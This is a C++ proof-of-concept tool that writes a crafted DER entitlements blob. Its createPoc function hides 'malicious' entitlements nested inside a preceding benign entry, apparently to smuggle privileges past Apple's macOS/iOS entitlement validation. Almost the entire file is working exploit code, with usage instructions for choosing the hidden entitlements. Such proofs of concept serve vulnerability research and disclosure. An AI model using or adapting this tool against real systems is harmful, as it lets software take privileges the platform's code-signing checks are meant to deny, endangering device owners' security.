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#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <string.h>
#include <string>
#include <vector>
#include <map>

using namespace std;

class Der {
public:
  Der(unsigned char type) {
    this->type = type;
  }
  
  unsigned char type;
  vector<unsigned char> content;
  vector<Der *> children;
  bool hidden;

  size_t getLenLen() {
    size_t content_size = getContentLen();
    if(content_size < 0x80) return 1;
    else if(content_size < 0x100) return 2;
    else if(content_size < 0x10000) return 3;
    else if(content_size < 0x1000000) return 4;
    else {
      printf("Length error");
      return 0;
    }
  }
  
  unsigned char *encodeLen(unsigned char *buf) {
    size_t content_size = getContentLen();
    if(content_size < 0x80) {
      *buf = (unsigned char)content_size; buf++;
    } else if(content_size < 0x100) {
      *buf = 0x81; buf++;
      *buf = (unsigned char)content_size; buf++;
    } else if(content_size < 0x10000) {
      *buf = 0x82; buf++;
      *buf = (unsigned char)((content_size & 0xFF00) >> 8); buf++;
      *buf = (unsigned char)(content_size & 0xFF); buf++;
    } else if(content_size < 0x1000000) {
      *buf = 0x83; buf++;
      *buf = (unsigned char)((content_size & 0xFF0000) >> 16); buf++;
      *buf = (unsigned char)((content_size & 0xFF00) >> 8); buf++;
      *buf = (unsigned char)(content_size & 0xFF); buf++;
    }
    return buf;
  }

  size_t getContentLen() {
    size_t content_len = content.size();
    if(!content_len) {
      for(auto iter = children.begin(); iter != children.end(); iter++) {
        Der *child = *iter;
        content_len += child->getTotalLen();
      }
    }
    return content_len;
  }
  
  size_t getTotalLen() {
    size_t len = getContentLen();
    len += getLenLen();
    len += 1;
    return len;
  }
  
  unsigned char *encode(unsigned char *buf) {
    *buf = type; buf++;
    buf = encodeLen(buf);
    if(!content.empty()) {
      memcpy(buf, content.data(), content.size());
      buf += content.size();
    } else {
      for(auto iter = children.begin(); iter != children.end(); iter++) {
        Der *child = *iter;
        buf = child->encode(buf);
      }
    }
    return buf;
  }
  
  void write(char *filename){
    size_t len = getTotalLen();
    unsigned char *buf = (unsigned char *)malloc(len);
    encode(buf);
    
    FILE *fp = fopen(filename, "wb");
    if(!fp) {
      printf("Error writing file\n");
      return;
    }
    fwrite(buf, 1, len, fp);
    fclose(fp);
  }
};

Der *createDer(unsigned char type) {
  Der *der = new Der(type);
  return der;
}

Der *createNumber(uint32_t number) {
  if(number > 0xFF) {
    printf("Unsupported\n");
  }
  
  Der *der = new Der(0x02);
  der->content.push_back((unsigned char)number);
  return der;
}

Der *createBool(bool value) {
  Der *der = new Der(0x01);
  if(value) {
    der->content.push_back(0xFF);
  } else {
    der->content.push_back(0);
  }
  return der;
}

Der *createString(const char *str) {
  Der *der = new Der(0x0c);
  size_t len = strlen(str);
  der->content.resize(len);
  memcpy(der->content.data(), str, len);
  return der;
}

Der *createPair(Der *first, Der *second) {
  Der *der = new Der(0x30);
  der->children.push_back(first);
  der->children.push_back(second);
  return der;
}

Der *createValue(char *value) {
  if(!value) {
    return createBool(true);
  } else if (strcmp(value, "true") == 0) {
    return createBool(true);
  } else if (strcmp(value, "false") == 0) {
    return createBool(false);
  } else {
    return createString(value);
  }
}

Der* createPoc(map<string, Der *> *entitlements) {
  if(entitlements->empty()) {
    printf("Entitlements can't be empty\n");
    return NULL;
  }
  
  Der *wrapper1 = createDer(0xb0);
  Der *wrapper2 = createDer(0x70);
  wrapper2->children.push_back(createNumber(1));
  wrapper2->children.push_back(wrapper1);
  
  Der *benign = NULL, *malicious = NULL;
  
  for(auto iter = entitlements->begin(); iter != entitlements->end(); iter++) {
    if(iter->second->hidden) {
      if(!benign) {
        printf("First entitlement in alphabetical order can't be hidden\n");
        printf("Consider adding com.apple.application-identifier(macOS) or application-identifier(iOS)\n");
        return NULL;
      }
      malicious = createPair(createString(iter->first.c_str()), iter->second);
      benign->children.push_back(malicious);
    } else {
      benign = createPair(createString(iter->first.c_str()), iter->second);
      wrapper1->children.push_back(benign);
    }
  }
  
  return wrapper2;
}
 
int main(int argc, char** argv) {
  if(argc < 3) {
    printf("Usage: %s <entitlements> -- <hidden entitlements>\n", argv[0]);
    printf("Entitlements are provided as key=value pairs\n");
    printf("Just specifying a key implies the value of 'true'\n");
    return 1;
  }

  map<string, Der *> entitlements;
  
  bool hidden = false;
  for(int i = 2; i < argc; i++) {
    if(strcmp(argv[i], "--") == 0) {
      hidden = true;
      continue;
    }
    
    // extract name and value
    string name;
    char *value = strchr(argv[i], '=');
    if(value) {
      name = string(argv[i], value);
      value++;
    } else {
      name = argv[i];
    }
    
    Der *der_value = createValue(value);
    der_value->hidden = hidden;
    
    entitlements[name] = der_value;
  }
  
  Der *der = createPoc(&entitlements);
  if(der) der->write(argv[1]);
  return 0;
}